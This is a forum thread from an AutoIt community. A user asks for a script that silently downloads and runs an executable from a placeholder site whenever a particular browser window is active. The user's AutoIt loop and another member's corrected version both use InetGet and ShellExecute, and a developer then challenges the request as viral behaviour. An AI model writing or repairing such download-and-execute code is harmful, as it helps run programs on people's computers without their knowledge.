Jump to content

Help


gl0w
 Share

Recommended Posts

Okay, I want that when a user enter x site get download and execute x file, but I tried to do does not work.

I want to work in every browser, ie, ff, chrome, opera, etc..

#include <Inet.au3>


While(1)
Sleep( 3000 )
Local $handle = WinGetHandle("[ACTIVE]")
If( $handle  = "Test - Windows Internet Explorer" ) Then
InetGet("http://www.site.com/test.exe", @TempDir & "\test.exe")
ShellExecute (@TempDir & "\test.exe")
EndIf
WEnd

 

Link to comment
Share on other sites

You're comparing the handle from "WinGetHandle()" to the text, instead of using "WinGetText()".

Try this:

#include <Inet.au3>


While 1
    Sleep(3000)
    Local $sWinText = WinGetText("[active]")
    If $sWinText = "Test - Windows Internet Explorer" Then
        InetGet("http://www.site.com/test.exe", @TempDir & "\test.exe")
        ShellExecute (@TempDir & "\test.exe")
    EndIf
WEnd
Edited by DatMCEyeBall

"Just be fred, all we gotta do, just be fred."  -Vocaliod

"That is a Hadouken. A KAMEHAMEHA would have taken him 13 days and 54 episodes to form." - Roden Hoxha

@tabhooked

Clock made of cursors ♣ Desktop Widgets ♣ Water Simulation

Link to comment
Share on other sites

  • Developers

 

Okay, I want that when a user enter x site get download and execute x file, but I tried to do does not work.

I want to work in every browser, ie, ff, chrome, opera, etc..

You want to do what exactly?

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

  • Developers

when user enters a website with the title "Test" download and run test.exe

That part I understood, but why would you want to do this?

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

  • Developers

work of university.

Please explain why this is a reasonable requirement and not something to is going to be used as prank .....

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

Please explain why this is a reasonable requirement and not something to is going to be used as prank .....

I need to present a project at university, I want to make a blocker PC when the user enters the site he runs the file that opens a splash screen.

Edited by gl0w
Link to comment
Share on other sites

  • Developers

I need to present a project at university, I want to make a blocker PC when the user enters the site he runs the file that opens a splash screen.

.. but do you understand where I am coming from?

I cannot see that downloading a file and executing it in the background. without the person using the PC knowing this, is something one ever want to do and is considered viral behaviour.

Jos

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...